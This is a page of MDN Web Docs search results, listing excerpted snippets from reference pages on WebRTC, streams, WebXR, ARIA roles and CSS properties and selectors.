... description if this property isn't included in the configuration, a set of certificates is automatically generated for each instance of rtcpeerconnection.
... although a given dtls connection only uses a single certificate, providing multiple options in the certificates list may improve the odds of establishing a connection by increasing the chances a mutually-compatible encryption algorithm and key size may be found.
...And 4 more matches
RTCDTMFSender.toneBuffer - Web APIs
tone buffer format the tone buffer is a string which can contain any combination of the characters that are permitted by the dtmf standard.
... dtmf tone characters the digits 0-9 these characters represent the digit keys on a telephone keypad.
... the letters a-d these characters represent the "a" through "d" keys which are part of the dtmf standard but not included on most telephones.
...And 4 more matches
RTCDTMFSender - Web APIs
the rtcdtmfsender interface provides a mechanism for transmitting dtmf codes on a webrtc rtcpeerconnection.
... the primary purpose for webrtc's dtmf support is to allow webrtc-based communication clients to be connected to a public-switched telephone network (pstn) or other legacy telephone service, including extant voice over ip (voip) services.
... for that reason, dtmf can't be used between two webrtc-based devices, because there is no mechanism provided by webrtc for receiving dtmf codes.
...And 4 more matches
RTCError - Web APIs
WebAPIRTCError
the rtcerror interface describes an error which has occurred while handling webrtc operations.
... receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network.
... sdplinenumber read only if errordetail is sdp-syntax-error, this property is a long integer identifying the line number of the sdp on which the syntax error occurred.
...And 4 more matches
RTCIceServers.urls - Web APIs
WebAPIRTCIceServerurls
a single ice server this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections.
... a single ice server with authentication the second example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", username: "webrtc", credential: "turnpassword" } ] }); a single ice server with multiple urls the next example creates a new rtcpeerconnection which will use a single turn server which has multiple urls.
...And 4 more matches
RTCOfferOptions.iceRestart - Web APIs
the icerestart property of the rtcofferoptions dictionary is a boolean value which, when true, tells the rtcpeerconnection to start ice renegotiation.
... syntax var options = { icerestart: trueorfalse }; value a boolean value indicating whether or not the rtcpeerconnection should generate new values for the connection's ice-ufrag and ice-pwd values, which will trigger ice renegotiation on the next message sent to the remote peer.
... usage notes when the rtcpeerconnection object's ice connection state changes to failed, you should try to trigger an ice restart.
...And 4 more matches
RTCPeerConnection.iceConnectionState - Web APIs
the read-only property rtcpeerconnection.iceconnectionstate returns an enum of type rtciceconnectionstate which state of the ice agent associated with the rtcpeerconnection.
... you can detect when this value has changed by watching for the iceconnectionstatechange event.
... "checking" the ice agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made.
...And 4 more matches
RTCPeerConnection: icecandidate event - Web APIs
the event handler should transmit the candidate to the remote peer over the signaling channel so the remote peer can add it to its set of remote candidates.
...this candidate needs to be delivered to the remote peer over the signaling channel your code manages.
...only candidates for which the event's candidate property is null are not forwarded across the signaling connection.
...And 4 more matches
RTCPeerConnection: negotiationneeded event - Web APIs
a negotiationneeded event is sent to the rtcpeerconnection when negotiation of the connection through the signaling channel is required.
... this occurs both during the initial setup of the connection as well as any time a change to the communication environment requires reconfiguring the connection.
... bubbles no cancelable no interface event event handler property rtcpeerconnection.onnegotiationneeded the negotiationneeded event is first dispatched to the rtcpeerconnection when media is first added to the connection.
...And 4 more matches
RTCPeerConnection.restartIce() - Web APIs
after restartice() returns, the offer returned by the next call to createoffer() is automatically configured to trigger ice restart on both the local peer (once the local peer has been set) and on the remote peer, once the offer is sent across your signaling mechanism and the remote peer has set its description as well.
... restartice() causes the negotiationneeded event to be fired on the rtcpeerconnection to inform the application that it should perform negotiation using its signaling channel.
...the next time the connection's signalingstate changes to stable, the connection will fire the negotiationneeded event.
...And 4 more matches
RTCRtpCapabilities - Web APIs
the rtcrtpcapabilities dictionary is a data type used to describe the capabilities of an rtcrtpsender or rtcrtpreceiver in response to a call to the rtcrtpsender.getcapabilities() or rtcrtpreceiver.getcapabilities() static functions, both of which return an array of rtcrtpcapabilities objects.
... an rtcrtpcapabilities object contains an array of objects conforming to rtcrtpcodeccapability (each describing the capabilities of one codec) and an array of the supported rtp header extensions for that codec.
... properties codecs an array of rtcrtpcodeccapability objects, each describing one of the codecs supported by the rtcrtpsender or rtcrtpreceiver.
...And 4 more matches
RTCRtpContributingSource.source - Web APIs
the value is the contributing source (csrc) or synchronization source (ssrc) identifier, depending on whether the object is an rtcrtpcontributingsource or rtcrtpsynchronizationsource, which is based on the former.
... syntax var sourceid = rtcrtpcontributingsource.source value an unsigned, 32-bit integer value which uniquely identifies the source of rtp packets described by this rtcrtpcontributingsource (in which case the value is a csrc identifier) or rtcrtpsynchronizationsource (the value is an ssrc identifier).
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 4 more matches
RTCRtpEncodingParameters - Web APIs
codecpayloadtype when describing a codec for an rtcrtpsender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for sending the stream; the value matches one from the owning rtcrtpparameters object's codecs parameter.
... dtx only used for an rtcrtpsender whose kind is audio, this property indicates whether or not to use discontinuous transmission (a feature by which a phone is turned off or the microphone muted automatically in the absence of voice activity).
...other parameters may further constrain the bit rate, such as the value of maxframerate or transport or physical network limitations.
...And 4 more matches
RTCTrackEvent - Web APIs
the webrtc api interface rtctrackevent represents the track event, which is sent when a new mediastreamtrack is added to an rtcrtpreceiver which is part of the rtcpeerconnection.
... the target is the rtcpeerconnection object to which the track is being added.
... streams read only optional an array of mediastream objects, each representing one of the media streams to which the added track belongs.
...And 4 more matches
Range.setStart() - Web APIs
WebAPIRangesetStart
if the startnode is a node of type text, comment, or cdatasection, then startoffset is the number of characters from the start of startnode.
... for other node types, startoffset is the number of child nodes between the start of the startnode.
...main st.<br> dodge city, ks<br> 67801<br> usa</p> <hr> <p>nodes in the original address:</p> <ol id="log"></ol> javascript const address = document.getelementbyid('address'); const log = document.getelementbyid('log'); // log info address.childnodes.foreach(node => { const li = document.createelement('li'); li.textcontent = `${node.nodename}, ${node.nodevalue}`; log.appendchild(li); }); // highlight the street and city const startoffset = 2; // start at third node: 101 e.
...And 4 more matches
ReadableStream.getReader() - Web APIs
syntax var reader = readablestream.getreader({mode}); parameters {mode} optional an object containing a property mode, which takes as its value a domstring specifying the type of reader to create.
... values can be: "byob", which results in a readablestreambyobreader being created that can read readable byte streams (i.e.
... undefined (or not specified at all — this is the default), which results in a readablestreamdefaultreader being created that can read individual chunks from a stream.
...And 4 more matches
ReadableStream.tee() - Web APIs
the tee() method of the readablestream interface tees the current readable stream, returning a two-element array containing the two resulting branches as new readablestream instances.
...you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache.
... to cancel the stream you then need to cancel both resulting branches.
...And 4 more matches
ReadableStream - Web APIs
the fetch api offers a concrete instance of a readablestream through the body property of a response object.
...the supplied reason argument will be given to the underlying source, which may or may not use it.
... readablestream.pipethrough() provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.
...And 4 more matches
Request - Web APIs
WebAPIRequest
the request interface of the fetch api represents a resource request.
... you can create a new request object using the request() constructor, but you are more likely to encounter a request object being returned as the result of another api operation, such as a service worker fetchevent.request.
... properties request.cache read only contains the cache mode of the request (e.g., default, reload, no-cache).
...And 4 more matches
SVGImageElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 4 more matches
ScriptProcessorNode.onaudioprocess - Web APIs
the onaudioprocess event handler of the scriptprocessornode interface represents the eventhandler to be called for the audioprocess event that is dispatched to scriptprocessornode node types.
... an event of type audioprocessingevent will be dispatched to the event handler.
...} example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
...And 4 more matches
Selection.modify() - Web APIs
WebAPISelectionmodify
the selection.modify() method applies a change to the current selection or cursor position, using simple textual commands.
... syntax sel.modify(alter, direction, granularity) parameters alter the type of change to apply.
... direction the direction in which to adjust the current selection.
...And 4 more matches
TextRange - Web APIs
WebAPITextRange
textrange.findtext() searches the specified text in the original range and adjusts the range to include the first match.
...such as, move("character",-1) means to move one character to the left.
... textrange.parentelement() returns the parent element of the range, which is the smallest element that contains the range completely.
...And 4 more matches
Visual Viewport API - Web APIs
the visual viewport api provides an explicit mechanism for querying and modifying the properties of the window's visual viewport.
... the visual viewport is the visual portion of a screen excluding on-screen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page.
...when the user pinch-zooms into the page, the visual viewport shrinks but the layout viewport is unchanged.
...And 4 more matches
WEBGL_draw_buffers - Web APIs
the webgl_draw_buffers extension is part of the webgl api and enables a fragment shader to write to several textures, which is useful for deferred shading, for example.
... constants this extension exposes new constants, which can be used in the gl.framebufferrenderbuffer(), gl.framebuffertexture2d(), gl.getframebufferattachmentparameter() ext.drawbufferswebgl(), and gl.getparameter() methods.
... ext.color_attachment0_webgl ext.color_attachment1_webgl ext.color_attachment2_webgl ext.color_attachment3_webgl ext.color_attachment4_webgl ext.color_attachment5_webgl ext.color_attachment6_webgl ext.color_attachment7_webgl ext.color_attachment8_webgl ext.color_attachment9_webgl ext.color_attachment10_webgl ext.color_attachment11_webgl ext.color_attachment12_webgl ext.color_attachment13_webgl ext.color_attachment14_webgl ext.color_attachment15_webgl a glenum specifying a color buffer.
...And 4 more matches
Animating textures in WebGL - Web APIs
this is actually pretty easy to do and fun to watch, so let's get started.
... you can use similar code to use any sort of data (such as a <canvas>) as the source for your textures.
... video can be copied to texture var copyvideo = false; function setupvideo(url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2 events ensures // there is data in the video video.addeventlistener('playing', function() { playing = true; checkready(); }, true); video.addeventlistener('timeupdate', function() { timeupdate = true; checkready(); }, true); video.src = url; video.play(); function checkready() { if (playing && timeupdate) { copyvideo = true; } } return video; } first we create a video element.
...And 4 more matches
Introduction to WebRTC protocols - Web APIs
this article introduces the protocols on top of which the webrtc api is built.
...that way you don’t need a unique public ip for each device but can still be discovered on the internet.
...you would create a connection with a turn server and tell all peers to send packets to the server which will then be forwarded to you.
...And 4 more matches
Keyframe Formats - Web APIs
there are several options to this format, which are explained below.
... element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, ​ color: "#000" } ], 2000); offsets for each keyframe can be specified by providing an offset value.
... element.animate({ opacity: [ 0, 1 ], // [ from, to ] color: [ "#fff", "#000" ] // [ from, to ] }, 2000); using this format, the number of elements in each array does not need to be equal.
...And 4 more matches
Window.event - Web APIs
WebAPIWindowevent
the read-only window property event returns the event which is currently being handled by the site's code.
... note: this property can be fragile, in that there may be situations in which the returned event is not the expected value.
... in addition, window.event is not accurate for events dispatched within shadow trees.
...And 4 more matches
Window.sidebar - Web APIs
WebAPIWindowsidebar
returns a sidebar object which contains several methods for registering add-ons with the browser.
... addpersistentpanel(title, contenturl, "") adds a sidebar panel, which is able to work in the background.
... addsearchprovider(descriptionurl) dummy function; does nothing.
...And 4 more matches
WritableStreamDefaultWriter - Web APIs
writablestreamdefaultwriter.write() writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation.
...inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
... a foreach() call is used to write each chunk of the string to the stream.
...And 4 more matches
XMLHttpRequest.send() - Web APIs
if the request is asynchronous (which is the default), this method returns as soon as the request is sent and the result is delivered using events.
... if the request is synchronous, this method doesn't return until the response has arrived.
... send() accepts an optional parameter which lets you specify the request's body; this is primarily used for requests such as put.
...And 4 more matches
XPathResult.resultType - Web APIs
unordered_node_iterator_type 4 a result node-set containing all the nodes matching the expression.
... ordered_node_iterator_type 5 a result node-set containing all the nodes matching the expression.
... unordered_node_snapshot_type 6 a result node-set containing snapshots of all the nodes matching the expression.
...And 4 more matches
XRInputSourceArray.entries() - Web APIs
the xrinputsourcearray interface's entries() method returns a javascript iterator which can then be used to iterate over the key/value pairs in the input source array.
... each item in the array is an xrinputsource object.
... most frequently, you will use this in tandem with statements such as for...of.
...And 4 more matches
XRInputSourceArray.keys() - Web APIs
the keys() method in the xrinputsourcearray interface returns a javascript iterator which can then be used to iterate over the keys used to reference each item in the array of input sources.
... return value a javascript iterator that can be used to walk through the keys for each entry in the list of input sources.
... the values returned by the iterator are the indexes of each entry in the list; that is, the numbers 0, 1, 2, and so forth through the index of the last item in the list.
...And 4 more matches
XRInputSourceEvent.frame - Web APIs
the read-only xrinputsourceevent property frame specifies an xrframe object representing the event frame during which a webxr user input occurred.
... this may thus be an event which occurred in the past rather than a current or impending event.
... syntax let inputframe = xrinputsourceevent.frame; value an xrframe indicating the event frame at which the user input event described by the object took place.
...And 4 more matches
XRPermissionDescriptor - Web APIs
mode an xrsessionmode value indicating the xr mode (inline, immersive-vr, or immersive-ar) for which the permissions are requested.
... optionalfeatures an array of strings, each specifying the name of a webxr feature which is requested but not required for the app to function.
... requiredfeatures an array of strings giving the names of the webxr features for which permission must be obtained in order to use your app or site.
...And 4 more matches
XRPermissionStatus.granted - Web APIs
the webxr device api's xrpermissionstatus interface's granted property is an array of strings, each identifying one of the webxr features for which permission has been granted as of the time at which the permission api's navigator.permissions.query() method was called.
... syntax grantedfeatures = xrpermissionstatus.granted; value an array of domstring objects, each identifying a single webxr feature which the app or site has been granted permission to use.
... the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them.
...And 4 more matches
XRPose.emulatedPosition - Web APIs
syntax let emulated = xrpose.emulatedposition; value a boolean which is true if the pose's position is computed based on estimates or is derived from sources other than direct sensor data.
...a basic xr headset provides three degrees of freedom (3dof), tracking the pitch, yaw, and roll of the user's head.
...any such data is taken from other sources, such as keyboard or mouse inputs or game controllers.
...And 4 more matches
XRPose - Web APIs
WebAPIXRPose
xrpose is a webxr api interface representing a position and orientation in the 3d space, relative to the xrspace within which it resides.
... the xrspace—which is either an xrreferencespace or an xrboundedreferencespace—defines the coordinate system used for the pose and, in the case of an xrviewerpose, its underlying views.
... to obtain the xrpose for the xrspace used as the local coordinate system of an object, call xrframe.getpose(), specifying that local xrspace and the space to which you wish to convert: thepose = xrframe.getpose(localspace, basespace); the pose for a viewer (or camera) is represented by the xrviewerpose subclass of xrpose.
...And 4 more matches
XRReferenceSpaceType - Web APIs
the xrreferencespacetype enumerated type defines the strings which identify the types of reference spaces supported by webxr.
...the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
... reference space descriptors the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them.
...And 4 more matches
XRRigidTransform.matrix - Web APIs
syntax let matrix = xrrigidtransform.matrix; value a float32array containing 16 entries which represents the 4x4 transform matrix which is described by the position and orientation properties.
...the values are stored into the array in column-major order; that is, each column is written into the array top-down before moving to the right one column and writing the next column into the array.
... thus, for an array [a0, a1, a2, ..., a13, a14, a15], the matrix looks like this: [a[0]a[4]a[8]a[12]a[1]a[5]a[9]a[13]a[2]a[6]a[10]a[14]a[3]a[7]a[11]a[15]]\begin{bmatrix} a[0] & a[4] & a[8] & a[12]\\ a[1] & a[5] & a[9] & a[13]\\ a[2] & a[6] & a[10] & a[14]\\ a[3] & a[7] & a[11] & a[15]\\ \end{bmatrix} the first time matrix is requested, it gets computed; after that, it's should be cached to avoid slowing down to compute it every time you need it.
...And 4 more matches
XRSession.requestReferenceSpace() - Web APIs
syntax refspacepromise = xrsession.requestreferencespace(referencespacetype); parameters type a domstring specifying the type of reference space for which an instance is to be returned.
...the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
... reference space descriptors the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them.
...And 4 more matches
XRSessionEvent() - Web APIs
these objects represent events announcing state changes in an xrsession representing an augmented or virtual reality session.
... syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent this particular object represents.
... eventinitdict an object conforming to the xrsessioneventinit dictionary which contains values to be applied to the newly-created event object.
...And 4 more matches
Using the aria-activedescendant attribute - Accessibility
description the aria-activedescendant attribute contains the id of the currently active child object that is part of a composite widget within the document object model.
... it makes do with the overhead of having all or more than one child focusable.
... as the name specifies, it helps in managing the current active child of the composite widget.
...And 4 more matches
Using the aria-labelledby attribute - Accessibility
description the aria-labelledby attribute establishes relationships between objects and their label(s), and its value should be one or more element ids, which refer to elements that have the text needed for labeling.
... assistive technology, such as screen readers, use this attribute to catalog the objects in a document so that users can navigate between them.
... without an element id, the assistive technology cannot catalog the object.
...And 4 more matches
ARIA: contentinfo role - Accessibility
landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document.
... each page should only include one contentinfo landmark, created by either using the <footer> element or by declaring role="contentinfo".
... examples <body> <!-- other page content --> <div role="contentinfo"> <h2>mdn web docs</h2> <ul> <li><a href="#">web technologies</a></li> <li><a href="#">learn web development</a></li> <li><a href="#">about mdn</a></li> <li><a href="#">feedback</a></li> </ul> <p>© 2005-2018 mozilla and individual contributors.
...And 4 more matches
ARIA: gridcell role - Accessibility
<div role="gridcell">potato</div> <div role="gridcell">cabbage</div> <div role="gridcell">onion</div> elements that have role="gridcell" applied to them must be the child of an element with a role of row.
...aria-colindex is being used to describe the rows' position and allows a person using assistive technology to infer that certain rows have been removed: <div role="grid" aria-colcount="6"> <div role="rowgroup"> <div role="row"> <div role="columnheader" aria-colindex="1">first name</div> <div role="columnheader" aria-colindex="2">last name</div> <div role="columnheader" aria-colindex="5">city</div> <div role="columnheader" aria-colindex="6">zip</div> </div> </...
... by referencing the parent elements with roles of rowheader or columnheader applied to them via aria-describedby, it allows assistive technology to understand the position and relationship of the gridcell element to the rest of the table-style grouping of content.
...And 4 more matches
ARIA: List role - Accessibility
it is normally used in conjunction with the listitem role, which is used to identify a list item contained inside the list.
... <section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
... a list must have one or more listitem children, or, alternatively, have one or more groups as children, with each group having one or more listitems as children.
...And 4 more matches
ARIA: Main role - Accessibility
landmarks can be used by assistive technology to quickly identify and navigate to large sections of the document.
... documents and applications can be nested in the dom, which may lead to having more than one main element as dom descendants.
... example <body> <!-- primary navigation --> <div role="main"> <h1>the the first indochina war</h1> <!-- article content --> </div> <!-- sidebar and footer --> </body> accessibility concerns use only one main role per document the main landmark role should only be used once per document.
...And 4 more matches
ARIA: rowgroup role - Accessibility
each row, in turn, contains child cells.
... associated wai-aria roles, states, and properties context roles role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row.
... role="grid" one of the three possible contexts (along with table and treegrid) in which you'll find a row.
...And 4 more matches
ARIA: heading role - Accessibility
description the heading role indicates to assistive technologies that this element should be treated like a heading.
...in addition, the level tells assistive technologies which part of the page structure this heading represents.
...as with any heading, giving it an id ensures it can be referenced from anchor links, making it accessible via the keyboard.
...And 4 more matches
Color contrast - Accessibility
designing readable interfaces for different vision capabilities, the wcag guidelines recommend the following contrast ratios: type of content minimum ratio (aa rating) enhanced ratio (aaa rating) body text 4.5 : 1 7 : 1 large-scale text (120-150% larger than body text) 3 : 1 4.5 : 1 active user interface components and graphical objects such as icons and graphs 3 : 1 not defined these ratios do not apply to "incidental" text, such as inactive controls, logotypes, or purely decorative text.
...this is because they don't see bright and dark areas as readily as those without such conditions, and therefore have trouble seeing edges, borders, and other details.
...the "good" <div> has a light purple background, which makes the text easy to read: example1 <div class="good"> good contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .good { background-color: #fae6fa; } the "bad" <div> on the other hand has a very dark purple background, whic...
...And 4 more matches
Robust - Accessibility
robust states that content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.
... this can generally be achieved by following web standards and testing rigorously.
... note: to read the w3c definitions for robust and its guidelines and success criteria, see principle 4: robust — content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.
...And 4 more matches
:default - CSS: Cascading Style Sheets
WebCSS:default
what this selector matches is defined in html standard §4.16.3 pseudo-classes — it may match the <button>, <input type="checkbox">, <input type="radio">, and <option> elements: a default option element is the first one with the selected attribute, or the first enabled option in dom order.
... multiple <select>s can have more than one selected option, so all will match :default.
... <input type="checkbox"> and <input type="radio"> match if they have the checked attribute.
...And 4 more matches
:has() - CSS: Cascading Style Sheets
WebCSS:has
the :has() css pseudo-class represents an element if any of the selectors passed as parameters (relative to the :scope of the given element) match at least one element.
... | <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>?
... ']'where <attr-matcher> = [ '~' | | | '^' | '$' | '*' ]?
...And 4 more matches
:host-context() - CSS: Cascading Style Sheets
the :host-context() css pseudo-class function selects the shadow host of the shadow dom containing the css it is used inside (so you can select a custom element from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the dom hierarchy.
... /* selects a shadow root host, only if it is a descendant of the selector argument given */ :host-context(h1) { font-weight: bold; } :host-context(main article) { font-weight: bold; } /* changes paragraph text color from black to white when a .dark-theme class is applied to the document body */ p { color: #000; } :host-context(body.dark-theme) p { color: #fff; } syntax :host-context( <compound-selector-list> )where <compound-selector-list> = <compound-selector>#where <compound-selector> = [ <type-selector>?
... | <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>?
...And 4 more matches
:lang() - CSS: Cascading Style Sheets
WebCSS:lang
the :lang() css pseudo-class matches elements based on the language they are determined to be in.
... /* selects any <p> in english (en) */ p:lang(en) { quotes: '\201c' '\201d' '\2018' '\2019'; } note: in html, the language is determined by a combination of the lang attribute, the <meta> element, and possibly by information from the protocol (such as http headers).
... examples in this example, the :lang() pseudo-class is used to match the parents of quote elements (<q>) using child combinators.
...And 4 more matches
:read-write - CSS: Cascading Style Sheets
the :read-write css pseudo-class represents an element (such as input or textarea) that is editable by the user.
... input:read-write, textarea:read-write { background-color: #bbf; } p:read-write { background-color: #bbf; } syntax :read-write examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
...ne; background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p> element with contenteditable set on it.
...And 4 more matches
pointer - CSS: Cascading Style Sheets
WebCSS@mediapointer
the pointer css media feature tests whether the user has a pointing device (such as a mouse), and if so, how accurate the primary pointing device is.
... syntax the pointer feature is specified as a keyword value chosen from the list below.
... none the primary input mechanism does not include a pointing device.
...And 4 more matches
Basic Concepts of Multicol - CSS: Cascading Style Sheets
multiple-column layout, usually referred to as multicol, is a specification for laying out content into a set of column boxes much like columns in a newspaper.
...the browser will then assign the correct amount of space to each column box to create the requested number of columns.
...the content, including the children of .container is then split between the three columns.
...And 4 more matches
CSS Flexible Box Layout - CSS: Cascading Style Sheets
in the flex layout model, the children of a flex container can be laid out in any direction, and can “flex” their sizes, either growing to fill unused space or shrinking to avoid overflowing the parent.
... both horizontal and vertical alignment of the children can be easily manipulated.
... basic example in the following example a container has been set to display: flex, which means that the three child items become flex items.
...And 4 more matches
Shapes from box values - CSS: Cascading Style Sheets
in all of the examples below i am using an element which has padding, a border, and a margin defined in order that you can see the different ways in which content will flow.
... in the example below, we have a circular purple item which is a <div> with a height, width, and background colour.
...change the border size and the content follows it.
...And 4 more matches
Using CSS transforms - CSS: Cascading Style Sheets
by modifying the coordinate space, css transforms change the shape and position of the affected content without disrupting the normal document flow.
...it is a space-separated list of transforms, which are applied one after the other, as requested by the composition operation.
...it also includes classes for the container box and the cube itself, as well as each of its faces.
...And 4 more matches
background-position-x - CSS: Cascading Style Sheets
the background-position-x css property sets the initial horizontal position for each background image.
... formal definition initial valueleftapplies toall elementsinheritednopercentagesrefer to width of background positioning area minus height of background imagecomputed valuea list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keywordanimation typediscrete formal syntax [ center | [ [ left | right | x-start | x-end ]?
... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-x' in that specification.
...And 4 more matches
background-position-y - CSS: Cascading Style Sheets
the background-position-y css property sets the initial vertical position for each background image.
... formal definition initial valuetopapplies toall elementsinheritednopercentagesrefer to height of background positioning area minus height of background imagecomputed valuea list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keywordanimation typediscrete formal syntax [ center | [ [ top | bottom | y-start | y-end ]?
... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status comment css backgrounds and borders module level 4the definition of 'background-position-y' in that specification.
...And 4 more matches
background-repeat - CSS: Cascading Style Sheets
here is an explanation of how each option works for either direction: repeat the image is repeated as much as needed to cover the whole background image painting area.
... space the image is repeated as much as possible without clipping.
... round as the allowed space increases in size, the repeated images will stretch (leaving no gaps) until there is room (space left >= half of the image width) for another one to be added.
...And 4 more matches
box-decoration-break - CSS: Cascading Style Sheets
values slice the element is initially rendered as if its box were not fragmented, after which the rendering for this hypothetical box is sliced into pieces for each line/column/page.
... note that the hypothetical box can be different for each fragment since it uses its own height if the break occurs in the inline direction, and its own width if the break occurs in the block direction.
... clone each box fragment is rendered independently with the specified border, padding, and margin wrapping each fragment.
...And 4 more matches
caption-side - CSS: Cascading Style Sheets
the css 2.1 specification notes that the css 2 specification described a different behavior for the top value, which will be reintroduced by this value in a future specification.
... the css 2.1 specification notes that the css 2 specification described a different behavior for the bottom value, which will be reintroduced by this value in a future specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 4 more matches
content - CSS: Cascading Style Sheets
WebCSScontent
l("http://www.example.com/test.png"); content: linear-gradient(#e66465, #9198e5); /* alt text for generated content, added in the level 3 specification */ content: url("http://www.example.com/test.png") / "this is the alt text"; /* values below can only be applied to generated content using ::before and ::after */ /* <string> value */ content: "prefix"; /* <counter> values */ content: counter(chapter_counter); content: counters(section_counter, "."); /* attr() value linked to the html attribute value */ content: attr(value string); /* language- and position-dependent keywords */ content: open-quote; content: close-quote; content: no-open-quote; content: no-close-quote; /* except for normal and none, several values can be used simultaneously */ content: open-quote chapter_counter; /* ...
...this value can be any number of text characters.
... non-latin characters must be encoded using their unicode escape sequences: for example, \000a9 represents the copyright symbol.
...And 4 more matches
element() - CSS: Cascading Style Sheets
WebCSSelement
this image is live, meaning that if the html element is changed, the css properties using the resulting value are automatically updated.
... on gecko browsers, you can use the non-standard document.mozsetimageelement() method to change the element being used as the background for a given css background element.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
